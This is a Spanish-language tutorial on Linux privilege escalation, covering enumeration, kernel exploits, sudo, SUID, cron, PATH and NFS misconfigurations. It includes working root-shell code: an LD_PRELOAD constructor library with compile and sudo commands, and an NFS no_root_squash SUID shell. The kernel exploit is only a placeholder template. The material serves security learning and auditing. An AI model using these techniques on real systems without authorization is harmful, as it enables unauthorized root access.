Introducción

El escalado de privilegios es un proceso crítico en la seguridad informática. Consiste en obtener un nivel de acceso superior al asignado inicialmente, típicamente el de usuario root en sistemas Linux. No existe una solución universal; el éxito depende del entorno específico del objetivo, incluyendo su versión de kernel, software instalado y configuraciones.

Dominar estas técnicas es esencial para roles en ciberseguridad, ya que el acceso inicial a menudo se logra con privilegios limitados.

Fundamentos del escalado de privilegios

El escalado de privilegios implica la explotación de fallos en el diseño, implementación o configuración de un sistema operativo o aplicación para elevar los permisos. En un contexto de auditoría de seguridad, permite acceder a funcionalidades restringidas como modificar archivos de sistema, instalar software o cambiar configuraciones de red.

Fase de enumeración

La recolección de información es el primer paso tras obtener acceso a un sistema. Permite identificar posibles vectores de escalado.

Comandos útiles para la enumeración:

• whoami y id: Proporcionan información sobre el usuario actual y sus grupos.
• uname -a: Muestra detalles del kernel del sistema.
• cat /etc/os-release: Identifica la distribución de Linux.
• ps aux: Lista todos los procesos en ejecución y sus propietarios.
• sudo -l: Enumera los comandos que el usuario puede ejecutar con sudo.
• find / -writable -type d 2>/dev/null: Busca directorios con permisos de escritura globales.
• cat /etc/passwd: Lista los usuarios del sistema.

Vector: Explotación de vulnerabilidades del kernel

Los kernels antiguos pueden contener vulnerabilidades no parcheadas que permiten la escalada directa a root. El proceso consiste en:

1. Determinar la versión exacta del kernel.
2. Buscar exploits públicos (por ejemplo, en exploit-db) compatibles.
3. Transferir y compilar el exploit en el sistema objetivo.
4. Ejecutar el exploit, entendiendo que puede causar inestabilidad.

Ejemplo de código para un exploit básico (estructura genérica):

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    // Código que aprovecha una vulnerabilidad específica del kernel
    // Esta es una plantilla genérica, el código real depende del exploit
    printf("Intentando explotar la vulnerabilidad del kernel...\n");
    // ... lógica de explotación ...
    return 0;
}

El exploit se compilaría normalmente con GCC y luego se ejecutaría con permisos del usuario actual, buscando elevarse a root.

Vector: Abuso de configuraciones sudo

Si un usuario tiene permiso para ejecutar ciertos programas con sudo, puede intentar abusar de las funcionalidades de estos progrmaas. Herramientas como sudo -l y sitios como GTFOBins son recursos clave.

Ejemplo de abuso usando LD_PRELOAD:

Si la variable LD_PRELOAD está permitida en la configuración de sudo, se puede crear una biblioteca compartida maliciosa.

// exploit_ldpreload.c
#include <stdio.h>
#include <stdlib.h>

static void __attribute__((constructor)) init() {
    // Restablecer la variable de entorno para limpiar rastro
    unsetenv("LD_PRELOAD");
    // Establecer UID/GID a 0 (root)
    setuid(0);
    setgid(0);
    // Ejecutar un shell
    system("/bin/bash");
}

Se compila con: gcc -shared -fPIC -o malicioso.so exploit_ldpreload.c -nostartfiles

Se ejecuta con: sudo LD_PRELOAD=/ruta/a/malicioso.so programa_permitido

Vector: Binarios con bits SUID/SGID

Los archivos con el bit SUID se ejecutan con los permisos del dueño del archivo, usualmente root. Se pueden encontrar con:

find / -type f -perm -4000 2>/dev/null

GTFOBins lista muchos binarios comunes que, con SUID activado, pueden usarse para obtener una shell de root. Si un binario SUID tiene la capacidad cap_setuid (visible con getcap -r / 2>/dev/null), también puede ser explotado.

Ejemplo de código que podría ser ejecutado por un binario con capacidades elevadas:

#!/bin/bash
# Script que aprovecha un binario con capacidades
if [ "$(id -u)" != "0" ]; then
    echo "Este script debe ser ejecutado como root."
    exit 1
fi
echo "¡Éxito! Ahora tienes privilegios root."
/bin/bash

Vector: Tareas programadas (cron jobs)

Si un cron job ejecuta un script que el usuario puede modificar, puede reemplazarse el contenido del script con comandos maliciosos que se ejecutarán con los privilegios del dueño del cron job (a menudo root).

Para inspeccionar tareas programadas:

cat /etc/crontab y crontab -l

Si un script referenciado no tiene ruta absoluta, se puede crear una versión maliciosa en un directorio del PATH del usuario.

Vector: Variables de entorno (PATH)

Si un script o binario ejecutable por el usuario invoca otros comandos usando nombres relativos, y el usuario tiene permiso de escritura en algún directorio listado en la variable PATH, puede crear un binario falso con ese nombre. Al ejecutar el script original, se ejecutará el binario falso con los permisos del script.

Proceso:

1. Identificar directorios en PATH con echo $PATH.
2. Verificar permisos de escritura en ellos.
3. Crear un binario o script malicioso con el nombre que el objetivo intenta ejecutar.

Vector: Configuraciones incorrectas de NFS

Si un sistema exporta directorios vía NFS con la opción no_root_squash y permite acceso de escritura, un atacante puede:

1. Montar el directorio NFS exportado.
2. Crear un binario con el bit SUID dentro del directorio montado.
3. Ejecutar ese binario en el sistema objetivo para obtener una shell root.

Comandos ilustrativos:

# En el sistema atacante, montar el share vulnerable
mount -o rw,vers=3 IP_OBJETIVO:/directorio_exportado /mnt/nfs

# Crear un binario malicioso dentro del punto de montaje
cat > /mnt/nfs/suid_shell.c << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void) {
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}
EOF

# Compilar y establecer el bit SUID
gcc /mnt/nfs/suid_shell.c -o /mnt/nfs/suid_shell
chmod +s /mnt/nfs/suid_shell

En el sistema objetivo, ejecutar /directorio_exportado/suid_shell generaría una shell root.

Automatización y herramientas

Existen scripts de enumeración como LinPEAS, LinEnum o linux-exploit-suggester que automatizan la detección de estos vectores. Sin embargo, es crucial comprender los métodos manuales, ya que las herramientas pueden fallar o pasar por alto configuraciones personalizadas.